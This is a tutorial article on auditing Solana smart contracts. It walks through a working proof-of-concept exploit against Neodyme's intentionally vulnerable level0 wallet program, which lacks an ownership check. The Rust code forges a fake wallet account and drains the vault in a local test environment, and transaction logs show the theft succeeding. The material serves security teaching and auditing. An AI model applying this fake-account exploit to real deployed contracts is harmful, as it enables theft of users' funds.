How to Audit Solana Smart Contracts Part 3: Penetration Testing
In this article, we introduce a few penetration testing tools to help detect vulnerabilities in Solana or Rust programs in general.
-
Solana PoC Framework: a framework for creating PoCs for Solana Smart Contracts developed by Neodyme.
-
cargo-fuzz: cargo subcommand for fuzzing with libFuzzer and LLVM sanitizers.
-
cargo-tarpaulin: a code coverage reporting tool for Rust projects
Solana PoC Framework
The poc-framework provides a convenient way to simulate transactions in a local environment. To illustrate its usage, we will use an example provided by Neodyme on Github.
102 fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
103 let account_info_iter = &mut accounts.iter();
104 let wallet_info = next_account_info(account_info_iter)?; // <-- highlighted: missing ownership check
105 let vault_info = next_account_info(account_info_iter)?;
106 let authority_info = next_account_info(account_info_iter)?;
107 let destination_info = next_account_info(account_info_iter)?;
108 let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;
109
110 assert!(authority_info.is_signer);
111 assert_eq!(wallet.authority, *authority_info.key);
112 assert_eq!(wallet.vault, *vault_info.key);
113
114 if amount > **vault_info.lamports.borrow_mut() {
115 return Err(ProgramError::InsufficientFunds);
116 }
117
118 **vault_info.lamports.borrow_mut() -= amount;
119 **destination_info.lamports.borrow_mut() += amount;
120 }
The withdraw function in the level0 contract with a known vulnerability
We first run x-ray -analyzeAll . to get a list of potential vulnerabilities, for which we then use the poc-framework to construct exploits. In particular, X-Ray reports the following issue:
Vulnerability: an un-trustful wallet account in level0 reported by X-Ray
===============This account may be UNTRUSTFUL!===============
Found a potential vulnerability at line 104, column 23 in level0/src/processor.rs
The account info is not trustful:
98|
99| Ok(())
100|}
101|
102|fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
103| let account_info_iter = &mut accounts.iter();
>104| let wallet_info = next_account_info(account_info_iter)?;
105| let vault_info = next_account_info(account_info_iter)?;
106| let authority_info = next_account_info(account_info_iter)?;
107| let destination_info = next_account_info(account_info_iter)?;
108| let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;
109|
110| assert!(authority_info.is_signer);
>>>Stack Trace:
>>>level0::processor::withdraw::hede4fe29fa7cbffe [level0/src/processor.rs:23]
Vulnerability: an un-trustful wallet account in level0 reported by X-Ray
In fact, this is a known vulnerability (a missing ownership check on line 104) in the level0 contract. In the next three steps, we will construct a PoC to exploit this vulnerability.
Step1. Initializing the contract states (owner)
To develop PoC, the first step is to set up the contract states, which typically includes deploying the contract on the blockchain, creating necessary contract accounts, and invoking a transaction to initialize the contract states.
15 pub fn process_instruction(
16 program_id: &Pubkey,
17 accounts: &[AccountInfo],
18 mut instruction_data: &[u8],
19 ) -> ProgramResult {
20 match WalletInstruction::deserialize(buf: &mut instruction_data)? {
21 WalletInstruction::Initialize => initialize(program_id, accounts),
22 WalletInstruction::Deposit { amount: u64 } => deposit(program_id, accounts, amount),
23 WalletInstruction::Withdraw { amount: u64 } => withdraw(program_id, accounts, amount),
24 }
25 }
More specifically, to call the initialization function (line 21), we need to prepare three parameters: program_id, accounts, and instruction_data. The program_id is trivial: it is the public key of the deployed contract.
However, the other two parameters must have proper data contents to satisfy the conditions in the initialization function (line 27).
-
The accounts vector includes at least five accounts in the following order:
wallet_info,vault_info,authority_info,rent_info, andsystem_program. The fifth account is used bysystem_instruction::create_account(lines 46 and 58) -
The accounts have relationships (enforced by
assert_eq!line 42):wallet_info.key == wallet_address, and thewallet_addressis a program derived address (PDA) determined fromprogram_idandauthority_info.key. -
The wallet account has empty data (enforced by
assert!(wallet_info.data_is_empty())on line 43)
27 fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
28 let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
29 let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
30 let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
31 let authority_info: &AccountInfo = next_account_info(account_info_iter)?;
32 let rent_info: &AccountInfo = next_account_info(account_info_iter)?;
33 let (wallet_address: Pubkey, wallet_seed: u8) =
34 Pubkey::find_program_address(seeds: &[&authority_info.key.to_bytes()], program_id);
35 let (vault_address: Pubkey, vault_seed: u8) = Pubkey::find_program_address(
36 seeds: &[&authority_info.key.to_bytes(), &"VAULT".as_bytes()],
37 program_id,
38 );
39
40 let rent: Rent = Rent::from_account_info(rent_info)?;
41
42 assert_eq!(*wallet_info.key, wallet_address);
43 assert!(wallet_info.data_is_empty());
To achieve our goal, there are three steps:
- use the poc_framework to create three accounts: one for the authority, one user, and one hacker:
let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();
2.use the poc_framework local environment to deploy the contract (level0.so) with a program_id (wallet_program), add the three accounts above, and initialize them each with 1.0 sol:
let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
.add_program(wallet_program, path)
.add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
.add_account_with_lamports(user_address, system_program::id(), amount_1sol)
.add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
.build();
- construct an instruction with the three parameters, and then execute a transaction in the poc_framework local environment:
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(authority_address, true),
AccountMeta::new_readonly(sysvar::rent::id(), false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: WalletInstruction::Initialize.try_to_vec().unwrap(),
}], &[&authority]).print();
Note that wallet_address and vault_address are PDAs, which are constructed by Pubkey::find_program_address (lines 33–38):
let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()],
&wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(),
&"VAULT".as_bytes()],
&wallet_program);
Now, the first step is done. This step is typically performed by the contract owner with certain authority, and for the PoC we assume it is done correctly.
Running the code will produce the following log:
Recent Blockhash: G9h4XVBLKL9SuAuDPu339nZxJvqmmUjs9QJBqb6tSV7r
Signature 0: 5tE6Sozj9HyDkwSp57KJMjL5tpJdZpVJHvvCayVANM7ibrxgLGYtVrrsLS7PNQEx6FaNyStcx1xHhPnhUAmH66BB
Signature 1: 2qeSDNrVR5bq6rtej66KLNy56tSPnhaXeuuWtfPgLQjR5sMfAP5aoDixcYPwcJbiYZ5JwsSkDZjMtSo6c7ViHt6p
Account 0: srw- HojNoq7NhoZZvarQ6wJK21gc1BhU81LmcrJrg2ar2kgy (fee payer)
Account 1: srw- KoooVyhdpoRPA6gpn7xr3cmjqAvtpHcjcBX6JBKu1nf
Account 2: -rw- B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-- SysvarRent111111111111111111111111111111111
Account 5: -r-- 11111111111111111111111111111111
Account 6: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
Program: W4113t3333333333333333333333333333333333333 (6)
Account 0: B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7 (2)
Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
Account 2: KoooVyhdpoRPA6gpn7xr3cmjqAvtpHcjcBX6JBKu1nf (1)
Account 3: SysvarRent111111111111111111111111111111111 (4)
Account 4: 11111111111111111111111111111111 (5)
Data: [0]
Status: Ok
Fee: 0
Account 0 balance: 0281474.976710656
Account 1 balance: 01 -> 00.9977728
Account 2 balance: 00 -> 00.00133632
Account 3 balance: 00 -> 00.00089088
Account 4 balance: 00.0010092
Account 5 balance: 00.000000001
Account 6 balance: 00.94277376
Log Messages:
Program W4113t3333333333333333333333333333333333333 invoke [1]
Program 11111111111111111111111111111111 invoke [2]
Program 11111111111111111111111111111111 success
Program 11111111111111111111111111111111 invoke [2]
Program 11111111111111111111111111111111 success
Program W4113t3333333333333333333333333333333333333 consumed 19249 of 200000 compute units
Program W4113t3333333333333333333333333333333333333 success
Step2. Constructing normal user interactions (user)
Currently, the vault account has almost zero money (except the rent exempt fee 0.00089088 sol). In the second step, we will create a transaction to invoke the deposit function to transfer money to the vault account. This step can be generalized to simulate any normal user interactions with the contract.
85 fn deposit(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
86 let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
87 let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
88 let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
89 let source_info: &AccountInfo = next_account_info(account_info_iter)?;
90 let wallet: Wallet = Wallet::deserialize(buf: &mut &(*wallet_info.data).borrow_mut()[..])?;
91
92 assert_eq!(wallet.vault, *vault_info.key);
93
94 invoke(
95 instruction: &system_instruction::transfer(from_pubkey: &source_info.key, to_pubkey: &vault_info.key, lamports: amount),
96 account_infos: &[vault_info.clone(), source_info.clone()],
97 )?;
In the deposit function above, the accounts vector includes four accounts: wallet, vault, source (the user account to transfer money from) and system_program (used by system_instruction::transfer line 95).
The amount of money to transfer is a parameter passed to WalletInstruction::Deposit {amount}.
We can then construct an instruction with these parameters, and again use the poc_framework to execute a transaction:
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(user_address, true),
AccountMeta::new_readonly(system_program::id(), false)
],
data: WalletInstruction::Deposit {
amount: amount_1sol}.try_to_vec().unwrap()
}],&[&user]).print();
Now, the second step is done. Running the code will produce the following log. Note that the vault account now has 1.00089088 sol. We have just successfully transferred 1 sol.
Recent Blockhash: 9yc4F2CaiTLnAMzw4TYtJTohSbT937redx5Up8Bs6oVk
Signature 0: 3VGM6wY1DFxn4ybDX81sTBWj7rzRkPc39wq4pEVrehiatcBGicZncbZxFL5znwbW57mjrEZgSRmqAbw4r82KX1s8
Signature 1: 3MDuQdGr1AzigaqCjwuyRXcwVwyLHp1Z9PvfboeXzvZiLz2TMZo7xLoFikJc6uzpKEjjxjKQjsCTKgzmSgnG3GQV
Account 0: srw- 36ipsUBedDFcv2H46qJpSE7f94tLu38eiCjroZZT3UW1 (fee payer)
Account 1: srw- Koo1BQTQYawwKVBg71J2sru7W51EJgfbyyHsTFCssRW
Account 2: -rw- B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-- 11111111111111111111111111111111
Account 5: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
Program: W4113t3333333333333333333333333333333333333 (5)
Account 0: B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7 (2)
Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
Account 2: Koo1BQTQYawwKVBg71J2sru7W51EJgfbyyHsTFCssRW (1)
Account 3: 11111111111111111111111111111111 (4)
Data: [1, 0, 202, 154, 59, 0, 0, 0, 0]
Status: Ok
Fee: 0
Account 0 balance: 0281474.976710656
Account 1 balance: 01 -> 00
Account 2 balance: 00.00133632
Account 3 balance: 00.00089088 -> 01.00089088
Account 4 balance: 00.000000001
Account 5 balance: 00.94277376
Log Messages:
Program W4113t3333333333333333333333333333333333333 invoke [1]
Program 11111111111111111111111111111111 invoke [2]
Program 11111111111111111111111111111111 success
Program W4113t3333333333333333333333333333333333333 consumed 4138 of 200000 compute units
Program W4113t3333333333333333333333333333333333333 success
Step3. Launching the attack (hacker)
Finally, we are about to complete the exploit by creating an instruction that simulates the hacker’s behavior. The goal in this case is to invoke the withdraw function to transfer money from the vault account to the hacker.
102 fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
103 let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
104 let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
105 let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
106 let authority_info: &AccountInfo = next_account_info(account_info_iter)?;
107 let destination_info: &AccountInfo = next_account_info(account_info_iter)?;
108 let wallet: Wallet = Wallet::deserialize(buf: &mut &(*wallet_info.data).borrow_mut()[..])?;
109
110 assert!(authority_info.is_signer);
111 assert_eq!(wallet.authority, *authority_info.key);
112 assert_eq!(wallet.vault, *vault_info.key);
113
114 if amount > **vault_info.lamports.borrow_mut() {
115 return Err(ProgramError::InsufficientFunds);
116 }
117
118 **vault_info.lamports.borrow_mut() -= amount;
119 **destination_info.lamports.borrow_mut() += amount;
From X-Ray report, recall that the wallet account is not trustful (line 104) . This means that the hacker may create a fake wallet account to invoke the withdraw function. To successfully steal the money (line 119), the fake wallet account and the other inputs must satisfy the following conditions:
- The
wallet.authorityfield must be the same as the authority_info account key (enforced byassert_eq!line 111):
assert_eq!(wallet.authority, *authority_info.key)
- The
wallet.vaultfield must be the same as the vault account key (enforced byassert_eq!line 112):
assert_eq!(wallet.vault, *vault_info.key);
- The withdraw
amountis no larger than the money in the vault account:
if amount > **vault_info.lamports.borrow_mut()
- In addition, the authority account must be signed (enforced by
assert!line 110):
assert!(authority_info.is_signer)
To satisfy this condition, the hacker may also supply a fake authority account, e.g., use their own hacker account and sign the transaction.
Considering all these constraints, we can construct a fake wallet account with the hacker_address as the fake authority field:
let hack_wallet = Wallet {
authority: hacker_address,
vault: vault_address
};
let mut hack_wallet_data: Vec<u8> = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();
We use the poc_framework to create a fake wallet account in the LocalEnvironment:
let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);
We can then create a transaction to call the withdraw instruction:
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(fake_wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(hacker_address, true),
AccountMeta::new(hacker_address, false)
],
data: WalletInstruction::Withdraw {
amount: amount_to_steal }.try_to_vec().unwrap(),
}], &[&hacker]).print();
In the above, the amount_to_steal can be set to the amount of money in the vault:
let amount_to_steal = env.get_account(vault_address).unwrap().lamports;
Putting all the above together, we have successfully created a PoC to exploit the vulnerability. Running the code will produce the following log. Note that the vault account is empty now, and the hacker now has 2.00089088 sol.
Recent Blockhash: Ax2N7gqps8LsXTsnpxo1XSsMEBxdu5P9ngmp3Pd7S9Cp
Signature 0: BVF9YqU98v22raDhwBfRkraRqFmBqM3cKr38YwriJDomsqYYJWj6kvbh8UijsQgt2R22KoKHoepnMZZzYvBEGDg
Signature 1: CPqre4XT1mS2w89ERJGnpakDTAwqSLTinkBq2h7krdZJ4PwqPt8K8wSXDgaZTqAAGDW7dYwYDbcMFyWD3FYtp29
Account 0: srw- Ga3jMwgq5YdCAWicfE2qXe3v1YgNabdLfYf6JYWZD5S4 (fee payer)
Account 1: srw- Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1
Account 2: -rw- K123eGaVgHro7RxWtfcpRZHKQc3L2qPf2LH4zJtRNQ6
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
Program: W4113t3333333333333333333333333333333333333 (4)
Account 0: K123eGaVgHro7RxWtfcpRZHKQc3L2qPf2LH4zJtRNQ6 (2)
Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
Account 2: Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1 (1)
Account 3: Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1 (1)
Data: [2, 0, 98, 168, 59, 0, 0, 0, 0]
Status: Ok
Fee: 0
Account 0 balance: 0281474.975374336
Account 1 balance: 01 -> 02.00089088
Account 2 balance: 00.00133632
Account 3 balance: 01.00089088 -> 00
Account 4 balance: 00.94277376
Log Messages:
Program W4113t3333333333333333333333333333333333333 invoke [1]
Program W4113t3333333333333333333333333333333333333 consumed 1886 of 200000 compute units
Program W4113t3333333333333333333333333333333333333 success
What’s next
In the next few articles, we will continue to introduce auditing skills for Solana smart contracts, including the Anchor development framework.